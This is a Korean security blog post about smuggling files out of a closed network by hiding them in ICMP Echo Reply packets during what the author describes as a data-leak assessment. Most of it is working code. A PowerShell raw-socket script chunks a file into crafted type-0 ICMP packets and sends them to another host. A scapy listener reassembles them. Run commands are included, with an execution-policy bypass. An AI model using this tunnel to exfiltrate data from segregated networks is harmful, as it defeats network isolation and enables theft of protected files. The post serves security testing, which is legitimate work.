앵하니의 더 나은 보안

ICMP Reply 터널링을 통한 파일 송수신 본문

보안 기술/Network

ICMP Reply 터널링을 통한 파일 송수신

앵한 2024. 5. 10. 15:53

서론

왜 ICMP 터널링을 수행하게 됐나?

특정 업무환경에서 파일 유출 발생 가능성이 있는지 검토하는 업무 수행 中,
VPN 망에 물린 PC에서 폐쇄망에 존재하는 실제 PC에 ping이 닿는것을 확인.

그래서 ping.exe에서 사용하는 ICMP 프로토콜 패킷을 사용해 파일 송수신을 진행해보고자 함

그렇다면 왜 굳이 ICMP Reply로 터널링을 수행해야만 하는가?

ICMP Request를 통해 VPN망 PC의 파일을 폐쇄망 PC로의 반입은 실제로 가능했었지만,

폐쇄망 PC에서 VPN망 PC로 파일을 반출은 불가하였음.

그 이유는 VPN망에서 폐쇄망으로 ping전송은 되지만, 그 반대는 불가하도록 NAC 네트워크 정책을 설정하였기 때문

ICMP 발신\수신 폐쇄망 PC VPN망 PC
폐쇄망 PC 가능 불가
VPN망 PC 가능 불가
 

그렇다고 ICMP를 통해 폐쇄망에 있는 데이터를 VPN망으로 무단 반출할 수는 없는거냐? 그건 또 아님

왜 아닌지 설명하려면 우선 ping.exe가 어떤 원리로 호스트의 생존을 확인하는지 먼저 알아야 함

  1. 호스트 A는 호스트 B가 네트워크 상으로 살아있는 상태인지 확인하기 위해 ping.exe를 사용
  2. 호스트 A에서 icmp type 8의 패킷을 호스트 B로 전송, 이때 icmp 데이터로 ‘abcdefghijklmnopqrstuvwabcdefghi’가
    담겨져 날아감
  3. 호스트 B에서는 echo request(icmp type 8) 패킷을 받았으니, ‘나는 살아있고, 네트워크상에서 데이터 누실은 발생하지 않았다’라는 의미로 똑같은 'abcdefghijklmnopqrstuvwabcdefghi'를 icmp 데이터 부분에 포함시켜 ICMP Echo Reply(icmp type 0)을 호스트 A에게 전송
  4. 호스트 A는 자신이 보냈던 icmp 패킷에 담긴 데이터 ‘abcdefghijklmnopqrstuvwabcdefghi’가 type 0으로 다시 제대로 도착한 것을 확인, 호스트 B가 살아있음을 파악

어쨋든 여기서 핵심은 ping.exe을 통해 호스트 B가 살아있음을 확인하려면, 마찬가지로 ping(ICMP echo request)을 받은 호스트 B에서 ping 요청을 보낸 호스트 A로 다시 ping(ICMP echo reply) 패킷을 보내야 한다는 것
그러니까 ping을 VPN망에서 폐쇄망으로 쏠수있고, 폐쇄망에서는 VPN망으로 쏠수 없어서 단방향 통신처럼 보이지만 막상 까보면 양방향통신이 가능하다는 것. 단, icmp type이 0인 패킷에 국한될 뿐

그래서 request와 마찬가지로 데이터를 보내되, icmp의 type만 0으로 바꿔주면 깔끔하게 전송될 것으로 예상

 

파이썬이나 C 언어, 자바 등 다른 쉽고 좋은 언어 많은데 왜 굳이 파워쉘?

VPN망에서 폐쇄망에 데이터 무단 인입이 불가하다고 가정을 한다면, 아무것도 없는 환경에서
사용할 수 있는 파워쉘 스크립트가 제격이라고 판단

내부파일 반출에 대한 실효성은 있는가?

  • 대용량 파일 전송 가능
  • 네트워크 탐지가 불가능하진 않음

그렇다면 네트워크 탐지가 불가하도록 내부 파일을 추출해낼 수 있는가?

  • icmp 데이터에 암호화까지 수행한다면 가능

본론

ICMP Request 터널링을 수행했던것과 마찬가지로, 파워쉘에서 단순히 icmp 타입만 0으로 수정하면되는
아주 간단한 작업일거라고 예상했으나, 현실은 그리 녹록치 않았음

문제점

  1. 단순히 폐쇄망에서 VPN망으로 reply패킷을 바로 쏴보낼 수 없음
    그럴경우에는 마찬가지로 NAC 네트워크 정책에 의해 막힘
  2. ICMP Reply만 지정해서 보내는 모듈은 .NET Framework에 없음
    기존에 사용했던 ping모듈은 icmp echo request만 전송가능
    참고 : https://learn.microsoft.com/ko-kr/dotnet/api/system.net.networkinformation?view=net-8.0
  3. 기존에 썼던 ICMP Tunneling Listener는 ICMP Echo Reply 전송을 기준으로 데이터를 저장하던 원리였음
    ICMP.Receive 함수가 Request를 수신했다고 동작하지 않고 오히려 그 반대.
    ICMP Reply를 송신하면 Request가 발생했다고 판단하는 함수·모듈
    Request를 받았으니까 Reply를 보내겠지? > 그럼 반대로 Reply를 보낸다 라는건 Request를 받은거겠네? > Reply 패킷을 보낸다면 해당 데이터를 receive 한걸로 처리하자.
    이 문제점은 127.0.0.1을 대상으로 Listener를 실행해놓고, Reply패킷을 완전 다른 ip로 보내보면 확인할 수 있음. 그럼 내 PC에 데이터가 수신된것처럼 보여짐
    Reply를 다른 IP에 보내는것은 Request를 받았기 때문일 것이다. 그러니 해당 데이터는 이미 다른 호스트로부터 받은 데이터이다. 라고 판단하는 듯 함
    그래서 그냥 타입 상관없이 아무 ICMP 패킷이나 전부 Receive 처리 가능하도록 수정해야되는데 단기간에 .NET Framework 문서를 뒤져서 찾기에는 시간이 많이 소요될 것으로 예상

해결

  1. VPN망에서 폐쇄망으로 ping을 쏘게되면 그때부터 약 20초 동안,
    폐쇄망에서 VPN망으로 icmp reply패킷 전송이 유효해 짐.
    그래서 해당 작업을 수행할땐 VPN망에서 폐쇄망으로 ping을 계속 쏘고있는 상태여야함
  2. ICMP 처럼 생긴 패킷을 직접 만들되, type을 0으로 설정하여 송신
  3. 수신하는측은 폐쇄망에 있는 PC가 아니므로 리스너는 그냥 파이썬으로 작성

스크립트

ICMP Reply를 통해 파일을 전송하는 ICMPReplySender.ps1

$sendFile = $args[0]
$destinationIpAddress = $args[1]

# ICMP 코드 및 타입을 설정
$icmpType = 0 #Reply 0, Request 8
$icmpCode = 0

# 전송 파일 세팅
$stream = [System.IO.File]::OpenRead($sendFile)
$readData = New-Object byte[] $stream.Length
$null = $stream.Read($readData, 0, $stream.Length)

# icmp 패킷 관련 데이터 생성
$icmpHeaderSize = 8
$maxBufSize = 1458 #MTU 1500에서 ipv4와 icmp 헤더 영역을 뺀 값 온전히 데이터만 들어갈 사이즈. 루프백은 ipv4 헤더가 짧아짐 10바이트 정도

# 소켓 생성
$socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Raw, [System.Net.Sockets.ProtocolType]::Icmp)

function sendIcmpPacket{
	param(
		[byte[]]$icmpSendData
	)
	
	#불러온 데이터 쪼개기 작업
	$chunksArray = @()
	$start = 0
	while($start -lt $icmpSendData.Length){
		if($icmpSendData.Length - $start -lt $maxBufSize){
			$chunk = $icmpSendData[$start..($icmpSendData.Length -1)]
		}
		else{
			$chunk = $icmpSendData[$start..($start + $maxBufSize - 1)]
		}
		$chunksArray += ,@($chunk)
		$start += $maxBufSize
	}
	
	$sendNum = 1
	$totalNum = $chunksArray.Count
	foreach($icmpdata in $chunksArray){
		sleep 1
		#icmp 패킷 헤더 및 데이터 초기화
		$icmpPacket = New-Object byte[] ($icmpHeaderSize + $icmpData.Length)
		
		
		$icmpPacket[0] = $icmpType
		$icmpPacket[1] = $icmpCode
		[System.Array]::Clear($icmpPacket, 2, 6)
		
		# 소켓 송신
		[System.Buffer]::BlockCopy([byte[]]$icmpData, 0, $icmpPacket, $icmpHeaderSize, $icmpData.Length)
		$null = $socket.SendTo($icmpPacket, $icmpPacket.Length, [System.Net.Sockets.SocketFlags]::None, [System.Net.IPEndPoint]::new([System.Net.IPAddress]::Parse($destinationIpAddress), 0))
		
		Write-Output "$sendNum/$totalNum is sent"
		$sendNum ++
	}
}

# 파일 시작을 뜻하는 패킷 송신 getbyte로 바이트 배열화 시켜야함
$BOF = ([text.encoding]::ASCII).GetBytes("BOF")
sendIcmpPacket($BOF)

# 읽은 파일 데이터 전송
sendIcmpPacket($readData)

# 파일 마지막을 뜻하는 패킷 송신
$EOF = ([text.encoding]::ASCII).GetBytes("EOF")
sendIcmpPacket($EOF)

# 소켓 제거
$socket.Close()

 

수신된 ICMPReply 패킷의 데이터를 수집해 파일로 저장하는 ICMPReplyListener.py

from scapy.all import *

BOFon = False
file_data = b''

def handle_icmp_packet(packet):
    global BOFon
    global file_data
    if ICMP in packet:
        icmp_data = packet[ICMP].load
        # "BOF" 패킷 수신
        if not BOFon:
            if icmp_data.startswith(b'BOF'):
                print("Receiving file data...")
                BOFon = True
        
        else:
            # "EOF" 패킷 수신
            if icmp_data == b'EOF':
                print("File data received completely.")
                with open("received_file.txt", "wb") as file:
                    file.write(file_data)
                print("File saved as 'received_file.txt'")
                sys.exit(0)
            
            # 파일 데이터 수신
            else:
                file_data += icmp_data
                print("writed...")

# ICMP 패킷 수신 대기
print("listen...")
sniff(filter="icmp", prn=handle_icmp_packet)

 

시연방법

  1. 파일을 수신받는 곳 그러니까 서버 역할을 할 곳에서 아래 커맨드를 사용해 ICMPReplyListener.py실행
    $python ICMPReplyListener.py​
  2. 파일을 전송하는 곳에서는 먼저 파워쉘을 관리자권한으로 실행한상태로, 전송할 파일명, 전송 대상 IP를 인자값으로 지정하여 ICMPReplySender.ps1실행
    $powershell.exe -ExecutePolicy Bypass -File ICMPReplySender.ps1 test.txt 192.168.0.10

 

이러면, 짜잔 ICMP Reply를 통해 파일 송수신 완성

 

결론

ICMP Request를 막았다고 다가 아니다.
좀 더 디테일하게 패킷 송수신을 컨트롤 하도록 하자.

Comments